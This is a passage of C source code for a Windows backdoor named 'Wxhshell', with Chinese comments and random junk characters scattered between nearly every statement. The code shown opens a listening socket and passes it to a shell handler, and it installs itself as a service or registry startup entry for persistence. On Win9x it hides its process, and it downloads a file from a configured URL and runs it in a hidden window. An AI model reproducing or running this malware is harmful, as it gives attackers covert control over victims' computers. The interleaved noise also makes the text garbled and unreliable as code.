5^xt/vYa) QqDF_ CloseHandle(hProcess); -H
\nFJ6+ H`P ) if(strstr(procName,"services")) return 1; // 以服务启动 L81"W`? }8svd#S+ return 0; // 注册表启动 yD KX, } L=$P fkYQ3d,` // 主模块 OV[-m;h| int StartWxhshell(LPSTR lpCmdLine) Zwcb5\Q { g/E;OcFaO SOCKET wsl; >eXNw}_j
BOOL val=TRUE; |LQmdgVr$ int port=0; B[$e;h*Aw[ struct sockaddr_in door; g
(~& ldxUq,p if(wscfg.ws_autoins) Install(); yF:fxdpw B5cTzY.h- port=atoi(lpCmdLine); ,R)[$n CR/LV]G if(port<=0) port=wscfg.ws_port; $qvNv[ Eg9502Bl~8 WSADATA data; _+{s^n= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
ql8:s>1T vH=I#Ajar if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G$Dg*< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +X< Z
43 door.sin_family = AF_INET; y`N1I door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z`
Aiw."| door.sin_port = htons(port); czp5MU_^ <Z5prunov if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G{J9Fb8 closesocket(wsl); %H@fVWe2wT return 1; }X$>84s>[P } AkF1Hj %8ul}}d9 if(listen(wsl,2) == INVALID_SOCKET) { R6!3Y/Q@ closesocket(wsl); 2@H~nw 0 return 1; bUBuJ } ^,X+
n5q;m Wxhshell(wsl); +,%x&L&I WSACleanup();
[W;14BD7 aCMcu\rd return 0; $lv
g.u [AU1JO`\" } M:x8]TA Q=dR[t>^ // 以NT服务方式启动 l`1ZS8 [. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hOq1"kL { '
Sl9xd DWORD status = 0; 1?*vqdt DWORD specificError = 0xfffffff; 5pDxFs=v 4uv }6&R serviceStatus.dwServiceType = SERVICE_WIN32; &O'yhAP] j serviceStatus.dwCurrentState = SERVICE_START_PENDING; iCHZ{<k serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #*~ ( serviceStatus.dwWin32ExitCode = 0; .1}u0IbJ serviceStatus.dwServiceSpecificExitCode = 0; \!%3giD5! serviceStatus.dwCheckPoint = 0; /eE P^)h serviceStatus.dwWaitHint = 0; QCjmg5bf'7 CN >q`[! hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `*slQ}i if (hServiceStatusHandle==0) return; | zA ey\ cB<Zez status = GetLastError(); gt
?&!S^ if (status!=NO_ERROR) T.xW|Iwx { .OjJK? serviceStatus.dwCurrentState = SERVICE_STOPPED; :S%|^QAN serviceStatus.dwCheckPoint = 0; \&cVcAg serviceStatus.dwWaitHint = 0; 1
4|S^UM$ serviceStatus.dwWin32ExitCode = status; ZHZ>YSqCS serviceStatus.dwServiceSpecificExitCode = specificError; )JjfPb64 SetServiceStatus(hServiceStatusHandle, &serviceStatus); |.,yM| return; %=|I;kI? } XnNK)dUT} K<t(HK#[ serviceStatus.dwCurrentState = SERVICE_RUNNING; > {:8c-\2} serviceStatus.dwCheckPoint = 0; YRwS{e*u serviceStatus.dwWaitHint = 0; :c6%;2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]M2> %Dvw } s^AYPmR6 ,7'l$-r l // 处理NT服务事件,比如:启动、停止 xNx!2MrR; VOID WINAPI NTServiceHandler(DWORD fdwControl) *BF1Sso { f[z#=zv switch(fdwControl) 3U}z?gP[ { CfVz' case SERVICE_CONTROL_STOP: {d3r>Ub)7d serviceStatus.dwWin32ExitCode = 0; =\q3;5[ serviceStatus.dwCurrentState = SERVICE_STOPPED; <}e<Zf! serviceStatus.dwCheckPoint = 0; 1mB6rp serviceStatus.dwWaitHint = 0; U$-FQRM4K { lKm?Xu'yH SetServiceStatus(hServiceStatusHandle, &serviceStatus); osnDW
aN } 0w c+<CUW return; t%/5$<!b case SERVICE_CONTROL_PAUSE: :]]amziP& serviceStatus.dwCurrentState = SERVICE_PAUSED; "c}bqoN break; vzVl2 case SERVICE_CONTROL_CONTINUE: 6h5*b8LxA serviceStatus.dwCurrentState = SERVICE_RUNNING; *zmbo >{( break; 2;q6~Y, case SERVICE_CONTROL_INTERROGATE: D6 M:pIN* break; l\S..B
+ }; c~>M7e( SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^x4gUT-Wy } SmRU!C$A ;A|6&~E0G // 标准应用程序主函数 +xWT)h/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (;s\Ip0 { j\W+wnAgk L-MpdC // 获取操作系统版本 |#S!qnXB OsIsNt=GetOsVer(); f+)F-3 GetModuleFileName(NULL,ExeFile,MAX_PATH); q'W`t>2T l jNd!RaB // 从命令行安装 al^ yCoB if(strpbrk(lpCmdLine,"iI")) Install(); 04,]upC${W R=E )j^<F // 下载执行文件 9'T(Fc if(wscfg.ws_downexe) { )2R:P`U if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kyv$yf9 WinExec(wscfg.ws_filenam,SW_HIDE); $H5Xa[ } HC$_p,9OV /+3|tb if(!OsIsNt) { 8I@_X~R // 如果时win9x,隐藏进程并且设置为注册表启动 (+9@j( HideProc(); D,J's(wd StartWxhshell(lpCmdLine); }F^c*xt[ } aE:fMDS|x else &gq\e^0CRZ if(StartFromService()) 1W;+hXx // 以服务方式启动 Ex~OT StartServiceCtrlDispatcher(DispatchTable); 1tD4I else ;8UNM // 普通方式启动 `f b}cJUa StartWxhshell(lpCmdLine); s'i1!GNF
B thkL< return 0; 9g>ay-W[( }
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